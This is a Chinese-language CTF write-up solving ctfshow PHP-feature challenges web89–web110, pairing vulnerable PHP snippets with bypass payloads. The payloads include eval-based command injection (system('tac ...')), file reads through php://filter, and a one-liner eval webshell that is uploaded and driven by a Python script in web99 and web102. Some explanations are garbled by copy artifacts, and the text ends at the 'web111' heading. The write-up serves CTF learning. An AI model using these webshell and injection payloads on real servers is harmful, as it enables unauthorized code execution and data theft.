ctfshow-php特性(部分题解)
web89
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。
intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
构造url
/?num[]=1
web90
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
int intval ( mixed $var [, int $base = 10 ] )
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
- 如果字符串以 “0” 开始,使用 8 进制(octal);
- 否则,将使用 10 进制 (decimal)。
将4476换为16进制输入!
构造url
/?num=0x117c
web91
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
/i表示匹配大小写
字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配以php开头和以php结尾
/m 多行匹配 若存在换行 \n 并且有开始 ^ 或结束 $ 符的情况下,将以换行为分隔符,逐行进行匹配
但是当出现换行符 %0a的时候,$cmd的值会被当做两行处理,而此时第二个if正则匹配不符合以php开头和以php结尾
构造url
/?cmd=%0aphp
或
/?cmd=php%0a%0a
其实后面url+/?cmd=php%0aphp也还是可以的,有很多方法!
但是/?cmd=php%0a这样子是错误的!
web92
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这道题和web90一样!唯一不同的地方是4476这里少了引号!
构造url
/?num=0x117c
web93
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
过滤了字母,所以十六进制是不可以使用了!所以我们换成8进制!
构造url
/?num=010574
或
/?num=4476.1#利用php浮点数不能直接比较相等的特性
web94
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
强比较!
strpos() 函数查找字符串在另一字符串中第一次出现的位置
strpos(string,find,start)
参数 描述 string 必需。规定要搜索的字符串。 find 必需。规定要查找的字符串。 start 可选。规定在何处开始搜索。
这里查找的是0是否在第0个位置,而十六进制不能用,所以我们不让8进制的0在第0位即可,在中间加个空格就好了!
/?num= 010574
web95
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
从强比较换成了弱比较了!
继续上要给url就可以了
/?num= 010574
web96
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
读取文件,参数不等于flag.php,那直接加个./即可,或者php伪协议!
/?u=./flag.php
/var/www/html/flag.php 绝对路径
./flag.php 相对路径
php://filter/resource=flag.php php伪协议
这三个都是可以的,只需在前面加上个/?u=就行了!
web97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
知识点:
弱类型比较,也叫松散比较。字符串和数字进行比较时,会把字符串强制转换为数字(如果字符串开头有数字,则转换为开头数字,没有则转换为0)
强类型比较,也叫严格比较。不仅要比较数据的值也要比较数据的类型,例如str和int两种数据类型就不会相等
md5函数处理数组舒服会返回NULL,两个NULL即相等!
post:a[]=1&b[]=2
web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
这里是三目运算符和取地址符号!
G E T ? _GET? GET?_GET=& P O S T : ′ f l a g ′ ; 这 条 语 句 的 意 思 是 , 存 在 g e t 形 式 则 将 p o s t 的 地 址 给 g e t , 否 则 f l a g h i g h l i g h t f i l e ( _POST:'flag'; 这条语句的意思是,存在get形式则将post的地址给get,否则flag highlight_file( POST:′flag′;这条语句的意思是,存在get形式则将post的地址给get,否则flaghighlightfile(_GET[‘HTTP_FLAG’]==‘flag’?$flag:FILE);
这条语句是如果HTTP_FLAG等于flag则输出flag
/?a=#这里其实随便写!
post:HTTP_FLAG=flag
web99
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
先是创建一个数组,然后将里面添加随机数!
然后判断是否存在get[n],用in_array()在数组里搜索值
in_array() 函数搜索数组中是否存在指定的值
in_array(search,array,type)
参数 描述 search 必需。规定要在数组搜索的值。 array 必需。规定要搜索的数组。 type 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。 说明
如果给定的值 search 存在于数组 array 中则返回 true。如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。
如果没有在数组中找到参数,函数返回 false。
注释:如果 search 参数是字符串,且 type 参数设置为 true,则搜索区分大小写。
file_put_contents() 函数把一个字符串写入文件中。
file_put_contents(file,data,mode,context)
参数 描述 file 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。 data 可选。规定要写入文件的数据。可以是字符串、数组或数据流。 mode 可选。规定如何打开/写入文件。可能的值: 1. FILE_USE_INCLUDE_PATH 2. FILE_APPEND 3. LOCK_EX context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 null,则忽略。
/?n=1.php
post:content=<?php @eval($_POST[datas]);?>
这里创建了个文件,上传了个一句话木马!
/1.php
post:datas=system("ls");
import requests#导入requests库
url = "http://22070c05-1fd6-4345-a0f8-9980e91a7c02.challenge.ctf.show:8080/"#我们要访问的页面
url1 = url + "?n=1.php"#构造url
dataer = {
'content':'<?php @eval($_POST[datas]);?>'
}#第一次发送的数据
get_shell = requests.post(url=url1,data=dataer)#以post形式发送
url2 = url + '1.php'#构造第二次的url
get_test = requests.get(url=url2)#以get形式访问页面
if(get_test.status_code==200):#200代表正常可以访问
print('YES')#输出YES
dataer2 = {
'datas':'system("cat flag36d.php");'
}#第二次发送的数据
res = requests.post(url=url2,data=dataer2)
print(res.text)#接收并打印
上面就是脚本!
web100
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
is_numeric() 函数用于检测变量是否为数字或数字字符串
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE
php有运算的优先级,也就是 && > = > and
eval(“
v
2
(
′
c
t
f
s
h
o
w
′
)
v2('ctfshow')
v2(′ctfshow′)v3”);这里需要对
v
2
传
入
命
令
,
v2传入命令,
v2传入命令,v3需要;结尾.
/?v1=1&v2=system("tac%20ctfshow.php")&v3=;
$flag_is_5839f3410x2d25140x2d4e3d0x2da3630x2daa8b8d3a5320;
web101
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
过滤太多的符号了!
PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。
$class = new ReflectionClass(‘ctfshow’); // 建立 Person这个类的反射类
$instance = c l a s s − > n e w I n s t a n c e A r g s ( class->newInstanceArgs( class−>newInstanceArgs(args); // 相当于实例化ctfshow类
/?v1=1&v2=echo%20new%20ReflectionClass&v3=;
改掉0x2d和最后一位进行爆破
web102
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true
call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数
file_put_contents() 写入内容到文件中,第一个参数是文件名,第二个参数是内容
以post传入v1,再以get传入v2和v3,v4必须为真,所以v2必须为数字,所以我们可以将webshell转换为数字!先base64再hex十六进制!
<?=是php的短标签,是echo()的快捷用法
还有一点,就是substr()取得是从下标为2开始的字符串,我们在前面加00两位数
?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=dotast.php
post:v1=hex2bin
然后再访问dotast
web103
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
这里继续使用上一题的payload
?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=dotast.php
post:v1=hex2bin
此时我们再将其进行base64解码!
web104
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
考察了sha1函数的特性!sha1()函数无法处理数组类型,会返回NULL,if条件就可以成立了,所以开始构造url。
?v2[]=
post:v1[]=
web105
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
你还想要flag嘛?
foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。
=>只用来数组赋值
这里是变量覆盖!例如 $a = flag 那么 $$a = $flag
此时我们可以开始构造url了!
?dotast=flag
post:error=dotast
这里是将$flag值传给$dotast,然后再让$dotast传给$error
或
?suces=flag&flag=
这里是将flag值传给suces,然后再令flag为空,则符合下面的条件了!
web106
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
这里是sha1()函数,只不过变成了不相等而已,所以我们简单的构造一下就可以了!
v2[]=1
post:v1[]=1
web107
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
parse_str
参数 描述 string 必需,规定要解析的字符串 array 可选。规定储存变量的数组的名称。改参数指示变量将被储存到数组
?v3=harker
post:v1=flag=e80118aff3ed3bc6f99038f65bef881b
web108
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
ereg() 函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的
strrev() 函数反转字符串。
intval() 函数用于获取变量的整数值
这里要知道%00是可以截断ereg函数的搜索!正则表达式只会匹配%00之前的内容
?c=a%00778
这里是0x36d的十进制数为877,然后逆转一下为778,需要截断ereg搜索加上%00
web109
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
Exception 处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类
ReflectionClass 或者 ReflectionMethod 都为常用的反射类,可以理解为一个类的映射
这里就是将v1不报错,执行v2的命令!
?v1=Exception&v2=system('tac fl36dg.txt')
或者
?v1=ReflectionClass&v2=system('tac fl36dg.txt')
或者
?v1=ReflectionMethod&v2=system('tac fl36dg.txt')
web110
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
getcwd()会将当前工作目录的绝对路径复制到参数buffer所指的内存空间中,参数maxlen为buffer的空间大小。
这里要利用FilesystmIterator文件系统迭代器来进行利用!
?v1=FilesystemIterator&v2=getcwd
接着访问fl36dga.txt页面就可以得到了flag了!
web111